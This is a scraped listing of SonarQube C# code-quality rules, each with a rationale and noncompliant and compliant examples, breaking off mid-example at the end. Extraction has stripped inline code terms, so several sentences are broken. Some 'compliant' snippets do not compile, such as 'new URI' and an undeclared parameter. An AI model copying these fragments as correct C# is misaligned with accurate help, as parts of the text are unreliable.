csharpsquid:S1104 |
Public fields in public classes do not respect the encapsulation principle and has three main disadvantages:
By using private fields and public properties (set and get), unauthorized modifications are prevented. Properties also benefit from additional protection (security) features such as Link Demands. Note that due to optimizations on simple properties, public fields provide only very little performance gain. Noncompliant Code Examplepublic class Foo { public int instanceData = 32; // Noncompliant } Compliant Solutionpublic class Foo { private int instanceData = 32; public int InstanceData { get { return instanceData; } set { instanceData = value ; } } } ExceptionsFields marked as Fields inside classes or structs annotated with the See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4040 |
Certain characters, once normalized to lowercase, cannot make a round trip. That is, they can not be converted from one locale to another and then accurately restored to their original characters. It is therefore strongly recommended to normalize characters and strings to uppercase instead. Noncompliant Code ExampleThread.CurrentThread.CurrentCulture = new CultureInfo("tr-TR"); var areStringEqual = "INTEGER".ToLower() == "integer"; // Noncompliant, the result is false as the ToLower will resolve to "ınteger" var areCharEqual = char.ToLower('I') == 'i'; // Noncompliant, the result is false as the ToLower will resolve to "ı" var incorrectRoundtrip = "İ".ToLowerInvariant().ToUpper() == "I".ToLowerInvariant().ToUpper(); // Noncompliant, because of the lower we lose the information about the correct uppercase character Compliant SolutionThread.CurrentThread.CurrentCulture = new CultureInfo("tr-TR"); var areStringEqual = "ınteger".ToUpperInvariant() == "ıNTEGER"; var areCharEqual = char.ToUpperInvariant('ı') == 'ı'; var correctRoundtrip = "İ".ToUpperInvariant().ToLower() != "I".ToUpperInvariant().ToLower(); See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4041 |
When a type name matches the name of a publicly defined namespace, for instance one in the .NET framework class library, it leads to confusion and makes the library that much harder to use. This rule raises an issue when a name of a public type matches the name of a .NET Framework namespace, or a namespace of the project assembly, in a case-insensitive comparison. Noncompliant Code Exampleusing System; namespace MyLibrary { public class Text // Noncompliant: Collides with System.Text { } } Compliant Solutionusing System; namespace MyLibrary { public class MyText { } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1699 |
Calling an overridable method from a constructor could result in failures or strange behaviors when instantiating a subclass which overrides the method. For example:
Noncompliant Code Examplepublic class Parent { public Parent() { DoSomething(); // Noncompliant } public virtual void DoSomething() // can be overridden { ... } } public class Child : Parent { private string foo; public Child(string foo) // leads to call DoSomething() in Parent constructor which triggers a NullReferenceException as foo has not yet been initialized { this.foo = foo; } public override void DoSomething() { Console.WriteLine(this.foo.Length); } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1215 |
Calling As a general rule, the consequences of calling this method far outweigh the benefits unless perhaps you've just triggered some event that is unique in the run of your program that caused a lot of long-lived objects to die. This rule raises an issue when Noncompliant Code Examplestatic void Main(string[] args) { // ... GC.Collect(2, GCCollectionMode.Optimized); // Noncompliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3998 |
A thread acquiring a lock on an object that can be accessed across application domain boundaries runs the risk of being blocked by another thread in a different application domain. Objects that can be accessed across application domain boundaries are said to have weak identity. Types with weak identity are:
Noncompliant Code Exampleusing System; using System.Threading; namespace MyLibrary { class Foo { string myString = "foo"; void Bar() { lock(myString) { } // Noncompliant } } } Compliant Solutionusing System; using System.Threading; namespace MyLibrary { class Foo { string myString = "foo"; private readonly Object thisLock = new Object(); void Bar() { lock(thisLock) { } // Compliant } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3877 |
It is expected that some methods should be called with caution, but others, such as An issue is raised when an exception is thrown from any of the following:
Noncompliant Code Examplepublic override string ToString() { if (string.IsNullOrEmpty(Name)) { throw new ArgumentException("..."); // Noncompliant } //... Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2306 |
Since C# 5.0, Noncompliant Code Exampleint await = 42; // Noncompliant Compliant Solutionint someOtherName = 42; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3990 |
Assemblies should conform with the Common Language Specification (CLS) in order to be usable across programming languages. To be compliant an
assembly has to indicate it with Compliant Solutionusing System; [assembly:CLSCompliant(true)] namespace MyLibrary { } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1450 |
When the value of a private field is always assigned to in a class' methods before being read, then it is not being used to store class information. Therefore, it should become a local variable in the relevant methods to prevent any misunderstanding. Noncompliant Code Examplepublic class Foo { private int singularField; public void DoSomething(int x) { singularField = x + 5; if (singularField == 0) { /* ... */ } } } Compliant Solutionpublic class Foo { public void DoSomething(int x) { int localVariable = x + 5; if (localVariable == 0) { /* ... */ } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1451 |
Each source file should start with a header stating file ownership and the license which must be used to distribute the application. This rule must be fed with the header text that is expected at the beginning of every file. The For example, if you want the source file to look like this // Copyright (c) SonarSource. All Rights Reserved. Licensed under the LGPL License. See License.txt in the project root for license information. namespace Foo { } then the // Copyright (c) SonarSource. All Rights Reserved. Licensed under the LGPL License. See License.txt in the project root for license information. Compliant Solution/* * SonarQube, open source software quality management tool. * Copyright (C) 2008-2013 SonarSource * mailto:contact AT sonarsource DOT com * * SonarQube is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * SonarQube is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3872 |
The name of a method should communicate what it does, and the names of its parameters should indicate how they're used. If a method and its parameter have the same name it is an indication that one of these rules of thumb has been broken, if not both. Even if by some trick of language that's not the case, it is still likely to confuse callers and maintainers. Noncompliant Code Examplepublic void Login(string login) // Noncompliant { //... } Compliant Solutionpublic void Login(string userName) { //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3993 |
When defining custom attributes, Noncompliant Code Exampleusing System; namespace MyLibrary { public sealed class MyAttribute :Attribute // Noncompliant { string text; public MyAttribute(string myText) { text = myText; } public string Text { get { return text; } } } } Compliant Solutionusing System; namespace MyLibrary { [AttributeUsage(AttributeTargets.Class | AttributeTargets.Enum | AttributeTargets.Interface | AttributeTargets.Delegate)] public sealed class MyAttribute :Attribute { string text; public MyAttribute(string myText) { text = myText; } public string Text { get { return text; } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1694 |
The purpose of an abstract class is to provide some heritable behaviors while also defining methods which must be implemented by sub-classes. A A Noncompliant Code Examplepublic abstract class Animal //Noncompliant; should be an interface { abstract void Move(); abstract void Feed(); } public abstract class Color //Noncompliant; should be concrete with a private constructor { private int red = 0; private int green = 0; private int blue = 0; public int GetRed() { return red; } } Compliant Solutionpublic interface Animal { void Move(); void Feed(); } public class Color { private int red = 0; private int green = 0; private int blue = 0; protected Color() {} public int GetRed() { return red; } } public abstract class Lamp { private bool switchLamp = false; public abstract void Glow(); public void FlipSwitch() { switchLamp = !switchLamp; if (switchLamp) { Glow(); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1210 |
When you implement This rule raises an issue when a class implements Noncompliant Code Examplepublic class Foo: IComparable // Noncompliant { public int CompareTo(object obj) { /* ... */ } } Compliant Solutionpublic class Foo: IComparable { public int CompareTo(object obj) { /* ... */ } public override bool Equals(object obj) { var other = obj as Foo; if (object.ReferenceEquals(other, null)) { return false; } return this.CompareTo(other) == 0; } public int GetHashCode() { /* ... */ } public static bool operator == (Foo left, Foo right) { if (object.ReferenceEquals(left, null)) { return object.ReferenceEquals(right, null); } return left.Equals(right); } public static bool operator > (Foo left, Foo right) { return Compare(left, right) > 0; } public static bool operator < (Foo left, Foo right) { return Compare(left, right) < 0; } public static bool operator != (Foo left, Foo right) { return !(left == right); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3871 |
The point of having custom exception types is to convey more information than is available in standard types. But custom exception types must be
If a method throws a non-public exception, the best you can do on the caller's side is to Noncompliant Code Exampleinternal class MyException : Exception // Noncompliant { // ... } Compliant Solutionpublic class MyException : Exception { // ... } ExceptionsThis rule ignores Exception types that are not derived directly from See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3992 |
Assemblies should explicitly indicate whether they are meant to be COM visible or not. If the Note that COM visibility can be overridden for individual types and members. Noncompliant Code Exampleusing System; namespace MyLibrary // Noncompliant { } Compliant Solutionusing System; [assembly: System.Runtime.InteropServices.ComVisible(false)] namespace MyLibrary { } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4047 |
When a reference parameter (keyword This rule raises an issue when a method contains a Noncompliant Code Exampleusing System; namespace MyLibrary { public class Foo { public void Bar(ref object o1, ref object o2) // Noncompliant { } } } Compliant Solutionusing System; namespace MyLibrary { public class Foo { public void Bar<T>(ref T ref1, ref T ref2) { } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3874 |
Passing a parameter by reference, which is what happens when you use the This rule raises an issue when Noncompliant Code Examplepublic void GetReply( ref MyClass input, // Noncompliant out string reply) // Noncompliant { ... } Compliant Solutionpublic string GetReply(MyClass input) { ... } public bool TryGetReply(MyClass input, out string reply) { ... } public ReplyData GetReply(MyClass input) { ... } internal void GetReply(ref MyClass input, out string reply) { ... } ExceptionsThis rule will not raise issues for: - non-public methods - methods with only 'out' parameters, name starting with "Try" and return type bool. - interface implementation methods |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3995 |
String representations of URIs or URLs are prone to parsing and encoding errors which can lead to vulnerabilities. The This rule raises an issue when a method has a Noncompliant Code Exampleusing System; namespace MyLibrary { public class MyClass { public string GetParentUri() // Noncompliant { return "http://www.mysite.com"; } } } Compliant Solutionusing System; namespace MyLibrary { public class MyClass { public Uri GetParentUri() { return new URI("http://www.mysite.com"); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1696 |
Noncompliant Code Examplepublic int GetLengthPlusTwo(string str) { int length = 2; try { length += str.Length; } catch (NullReferenceException e) { log.info("argument was null"); } return length; } Compliant Solutionpublic int GetLengthPlusTwo(string str) { int length = 2; if (str != null) { length += str.Length; } else { log.info("argument was null"); } return length; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4049 |
Properties are accessed like fields which makes them easier to use. This rule raises an issue when the name of a Noncompliant Code Exampleusing System; namespace MyLibrary { public class Foo { private string name; public string GetName() // Noncompliant { return name; } } } Compliant Solutionusing System; namespace MyLibrary { public class Foo { private string name; public string Name { get { return name; } } } } ExceptionsThe rule doesn't raise an issue when the method:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3994 |
String representations of URIs or URLs are prone to parsing and encoding errors which can lead to vulnerabilities. The This rule raises issues when a method has a string parameter with a name containing "uri", "Uri", "urn", "Urn", "url" or "Url", and the type
doesn't declare a corresponding overload taking an Noncompliant Code Exampleusing System; namespace MyLibrary { public class MyClass { public void FetchResource(string uriString) { } // Noncompliant } } Compliant Solutionusing System; namespace MyLibrary { public class MyClass { public void FetchResource(string uriString) { FetchResource(new Uri(uriString)); } public void FetchResource(Uri uri) { } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1697 |
When either the equality operator in a null test or the logical operator that follows it is reversed, the code has the appearance of safely null-testing the object before dereferencing it. Unfortunately the effect is just the opposite - the object is null-tested and then dereferenced only if it is null, leading to a guaranteed null pointer dereference. Noncompliant Code Exampleif (str == null && str.Length == 0) { Console.WriteLine("String is empty"); } if (str != null || str.Length > 0) { Console.WriteLine("String is not empty"); } Compliant Solutionif (str == null || str.Length == 0) { Console.WriteLine("String is empty"); } if (str != null && str.Length > 0) { Console.WriteLine("String is not empty"); } DeprecatedThis rule is deprecated; use S2259 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3876 |
Strings and integral types are typically used as indexers. When some other type is required, it typically indicates design problems, and potentially a situation where a method should be used instead. Noncompliant Code Examplepublic int this[MyCustomClass index] // Noncompliant { // get and set accessors } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3997 |
String representations of URIs or URLs are prone to parsing and encoding errors which can lead to vulnerabilities. The This rule raises an issue when two overloads differ only by the string / Noncompliant Code Exampleusing System; namespace MyLibrary { public class MyClass { public void FetchResource(string uriString) // Noncompliant { // No calls to FetResource(Uri) } public void FetchResource(Uri uri) { } } } Compliant Solutionusing System; namespace MyLibrary { public class MyClass { public void FetchResource(string uriString) { FetchResource(new Uri(uriString)); } public void FetchResource(Uri uri) { } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3875 |
The use of Noncompliant Code Examplepublic static bool operator== (MyType x, MyType y) // Noncompliant { Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2302 |
Because parameter names could be changed during refactoring, they should not be spelled out literally in strings. Instead, use
This rule raises an issue when a string in the Noncompliant Code Examplevoid DoSomething(int someParameter, string anotherParam) { if (someParameter < 0) { throw new ArgumentException("Bad argument", "someParameter"); // Noncompliant } if (anotherParam == null) { throw new Exception("anotherParam should not be null"); // Noncompliant } } Compliant Solutionvoid DoSomething(int someParameter) { if (someParameter < 0) { throw new ArgumentException("Bad argument", nameof(someParameter)); } if (anotherParam == null) { throw new Exception($"{nameof(anotherParam)} should not be null"); } } Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1698 |
Using the equality Noncompliant Code Examplepublic interface IMyInterface { } public class MyClass : IMyInterface { public override bool Equals(object obj) { //... } } public class Program { public static void Method(IMyInterface instance1, IMyInterface instance2) { if (instance1 == instance2) // Noncompliant, will do reference equality check, but was that intended? MyClass overrides Equals. { Console.WriteLine("Equal"); } } } Compliant Solutionpublic interface IMyInterface { } public class MyClass : IMyInterface { public override bool Equals(object obj) { //... } } public class Program { public static void Method(IMyInterface instance1, IMyInterface instance2) { if (object.Equals(instance1, instance2)) // object.Equals checks for null and then calls the instance based Equals, so MyClass.Equals { Console.WriteLine("Equal"); } } } ExceptionsThe rule does not report on comparisons of It also does not raise an issue when one of the operands is See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3996 |
String representations of URIs or URLs are prone to parsing and encoding errors which can lead to vulnerabilities. The This rule raises an issue when a property is a string type and its name contains "uri", "Uri", "urn", "Urn", "url" or "Url". Noncompliant Code Exampleusing System; namespace MyLibrary { public class MyClass { string myUri; public string MyUri // Noncompliant { get { return myURI; } set { myUri = value; } } } } Compliant Solutionusing System; namespace MyLibrary { public class MyClass { Uri myUri; public Uri MyUri { get { return myURI; } set { myUri = value; } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2291 |
This rule raises an issue when an Noncompliant Code Examplevoid Add(List<int> list) { int d = unchecked(list.Sum()); // Noncompliant unchecked { int e = list.Sum(); // Noncompliant } } Compliant Solutionvoid Add(List<int> list) { int d = list.Sum(); try { int e = list.Sum(); } catch (System.OverflowException e) { // exception handling... } } ExceptionsWhen the void Add(List<int> list) { unchecked { try { int e = list.Sum(); } catch (System.OverflowException e) { // exception handling... } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2290 |
Field-like events are events that do not have explicit When a To prevent this, remove the Noncompliant Code Exampleabstract class Car { public virtual event EventHandler OnRefueled; // Noncompliant public void Refuel() { // This OnRefueled will always be null if (OnRefueled != null) { OnRefueled(this, null); } } } class R2 : Car { public override event EventHandler OnRefueled; } class Program { static void Main(string[] args) { var r2 = new R2(); r2.OnRefueled += new EventHandler((o, a) => { Console.WriteLine("This event will never be called"); }); r2.Refuel(); } } Compliant Solutionabstract class Car { public event EventHandler OnRefueled; // Compliant public void Refuel() { if (OnRefueled != null) { OnRefueled(this, null); } } } class R2 : Car {} class Program { static void Main(string[] args) { var r2 = new R2(); r2.OnRefueled += new EventHandler((o, a) => { Console.WriteLine("This event will be called"); }); r2.Refuel(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3261 |
Namespaces with no lines of code clutter a project and should be removed. Noncompliant Code Examplenamespace MyEmptyNamespace // Noncompliant { } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2292 |
Trivial properties, which include no logic but setting and getting a backing field should be converted to auto-implemented properties, yielding cleaner and more readable code. Noncompliant Code Examplepublic class Car { private string _make; public string Make // Noncompliant { get { return _make; } set { _make = value; } } } Compliant Solutionpublic class Car { public string Make { get; set; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3263 |
Static field initializers are executed in the order in which they appear in the class from top to bottom. Thus, placing a static field in a class above the field or fields required for its initialization will yield unexpected results. Noncompliant Code Exampleclass MyClass { public static int X = Y; // Noncompliant; Y at this time is still assigned default(int), i.e. 0 public static int Y = 42; } Compliant Solutionclass MyClass { public static int Y = 42; public static int X = Y; } or class MyClass { public static int X; public static int Y = 42; static MyClass() { X = Y; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3262 |
Overriding methods automatically inherit the Noncompliant Code Exampleclass Base { public virtual void Method(params int[] numbers) { ... } } class Derived : Base { public override void Method(int[] numbers) // Noncompliant, the params is missing. { ... } } Compliant Solutionclass Base { public virtual void Method(params int[] numbers) { ... } } class Derived : Base { public override void Method(params int[] numbers) { ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2857 |
Badly formed SQL is likely to cause errors at runtime. This rule raises an issue when the spacing around SQL keywords appears to be missing. Noncompliant Code Examplestring select = "SELECT p.fname, p.lname, p.street1, p.street2, p.city, p.state, p.zip" + "FROM person p" + // Noncompliant; concatenates to: p.zipFROM "WHERE p.id = @ID"; // Noncompliant; concatenates to: pWHERE Compliant Solutionstring select = "SELECT p.fname, p.lname, p.street1, p.street2, p.city, p.state, p.zip" + " FROM person p" + " WHERE p.id = @ID"; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2737 |
A Such clauses should either be eliminated or populated with the appropriate logic. Noncompliant Code Examplestring s = ""; try { s = File.ReadAllText(fileName); } catch (Exception e) // Noncompliant { throw; } Compliant Solutionstring s = ""; try { s = File.ReadAllText(fileName); } catch (Exception e) // Compliant { logger.LogError(e); throw; } or string s = File.ReadAllText(fileName); ExceptionsThis rule will not generate issues for var s = "" try { s = File.ReadAllText(fileName); } catch (IOException) // Compliant, if removed will change the logic { throw; } catch (Exception) // Compliant, does more than just rethrow { logger.LogError(e); throw; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3949 |
Numbers are infinite, but the types that hold them are not. Each numeric type has hard upper and lower bounds. Try to calculate or assign numbers beyond those bounds, and the result will be a value that has silently wrapped around from the expected positive value to a negative one, or vice versa. This rule is only available for analyses run on Windows machines. It will not be reported in analyses run on any other OS. Noncompliant Code Examplepublic int getTheNumber(int val) { if (val <= 0) { return val; } int num = int.MaxValue; return num + val; // Noncompliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S100 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks whether or not method and property names are PascalCased. To
reduce noise, two consecutive upper case characters are allowed unless they form the whole name. So, Noncompliant Code Examplepublic int doSomething() {...} Compliant Solutionpublic int DoSomething() {...} Exceptions
void My_method(){...} // valid void My_method_(){...} // invalid, leading and trailing underscores are reported See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3265 |
Noncompliant Code Exampleenum Permissions { None = 0, Read = 1, Write = 2, Execute = 4 } // ... var x = Permissions.Read | Permissions.Write; // Noncompliant; enum is not marked with [Flags] Compliant Solution[Flags] enum Permissions { None = 0, Read = 1, Write = 2, Execute = 4 } // ... var x = Permissions.Read | Permissions.Write; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S101 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks whether or not type names are using PascalCase. To reduce noise,
two consecutive upper case characters are allowed unless they form the whole type name. So, Noncompliant Code Exampleclass my_class {...} class SOMEName42 {...} Compliant Solutionclass MyClass {...} class SomeName42 {...} Exceptions
class Some_Name___42 {...} // valid in test class Some_name___42 {...} // still not valid class Some_Name_XC {...} // invalid because of XC, should be Some_Name_Xc See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3264 |
Events that are not invoked anywhere are dead code, and there's no good reason to keep them in the source. Noncompliant Code Exampleclass UninvokedEventSample { private event Action<object, EventArgs> Happened; //Noncompliant public void RegisterEventHandler(Action<object, EventArgs> handler) { Happened += handler; //we register some event handlers } public void RaiseEvent() { if (Happened != null) { // Happened(this, null); // the event is never triggered, because this line is commented out. } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2178 |
The use of non-short-circuit logic in a boolean context is likely a mistake - one that could cause serious program errors as conditions are evaluated under the wrong circumstances. Noncompliant Code Exampleif (GetTrue() | GetFalse()) // Noncompliant; both sides evaluated { } Compliant Solutionif (GetTrue() || GetFalse()) // true short-circuit logic { } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2971 |
In the interests of readability, code that can be simplified should be simplified. To that end, there are several ways
Noncompliant Code Exampleseq1.Select(element => element as T).Any(element => element != null); // Noncompliant; use OfType seq2.Select(element => element as T).Any(element => element != null && CheckCondition(element)); // Noncompliant; use OfType seq3.Where(element => element is T).Select(element => element as T); // Noncompliant; use OfType seq4.Where(element => element is T).Select(element => (T)element); // Noncompliant; use OfType seq5.Where(element => [expression]).Any(); // Noncompliant; use Any([expression]) var num = seq6.Count(); // Noncompliant var arr = seq.ToList().ToArray(); //Noncompliant var count = seq.ToList().Count(x=>[condition]); //Noncompliant Compliant Solutionseq1.OfType<T>().Any(); seq2.OfType<T>().Any(element => CheckCondition(element)); seq3.OfType<T>(); seq4.OfType<T>(); seq5.Any(element => [expression]) var num = seq6.Count; var arr = seq.ToArray(); var count = seq.Count(x=>[condition]); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1764 |
Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified. Noncompliant Code Exampleif ( a == a ) // always true { doZ(); } if ( a != a ) // always false { doY(); } if ( a == b && a == b ) // if the first one is true, the second one is too { doX(); } if ( a == b || a == b ) // if the first one is true, the second one is too { doW(); } int j = 5 / 5; //always 1 int k = 5 - 5; // always 0 c.Equals(c); //always true Object.Equals(c, c); //always true ExceptionsThis rule ignores See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1643 |
Noncompliant Code Examplestring str = ""; for (int i = 0; i < arrayOfStrings.Length ; ++i) { str = str + arrayOfStrings[i]; } Compliant SolutionStringBuilder bld = new StringBuilder(); for (int i = 0; i < arrayOfStrings.Length; ++i) { bld.Append(arrayOfStrings[i]); } string str = bld.ToString(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1192 |
Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences. On the other hand, constants can be referenced from many places, but only need to be updated in a single place. Noncompliant Code Examplepublic class Foo { private string name = "foobar"; // Noncompliant public string DefaultName { get; } = "foobar"; // Noncompliant public Foo(string value = "foobar") // Noncompliant { var something = value ?? "foobar"; // Noncompliant } } Compliant Solutionpublic class Foo { private const string Foobar = "foobar"; private string name = Foobar; public string DefaultName { get; } = Foobar; public Foo(string value = Foobar) { var something = value ?? Foobar; } } ExceptionsThe following are ignored:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4583 |
Calling the This rule raises an issue when:
Noncompliant Code ExampleBeginInvoke without callback public delegate string AsyncMethodCaller(); public static void Main() { AsyncExample asyncExample = new AsyncExample(); AsyncMethodCaller caller = new AsyncMethodCaller(asyncExample.MyMethod); // Initiate the asynchronous call. IAsyncResult result = caller.BeginInvoke(null, null); // Noncompliant - not paired with EndInvoke } BeginInvoke with callback public delegate string AsyncMethodCaller(); public static void Main() { AsyncExample asyncExample = new AsyncExample(); AsyncMethodCaller caller = new AsyncMethodCaller(asyncExample.MyMethod); IAsyncResult result = caller.BeginInvoke( new AsyncCallback((IAsyncResult ar) => {}), null); // Noncompliant - not paired with EndInvoke } Compliant SolutionBeginInvoke without callback public delegate string AsyncMethodCaller(); public static void Main() { AsyncExample asyncExample = new AsyncExample(); AsyncMethodCaller caller = new AsyncMethodCaller(asyncExample.MyMethod); IAsyncResult result = caller.BeginInvoke(null, null); string returnValue = caller.EndInvoke(out threadId, result); } BeginInvoke with callback public delegate string AsyncMethodCaller(); public static void Main() { AsyncExample asyncExample = new AsyncExample(); AsyncMethodCaller caller = new AsyncMethodCaller(asyncExample.MyMethod); IAsyncResult result = caller.BeginInvoke( new AsyncCallback((IAsyncResult ar) => { // Retrieve the delegate. AsyncResult result = (AsyncResult)ar; AsyncMethodCaller caller = (AsyncMethodCaller)result.AsyncDelegate; // Call EndInvoke 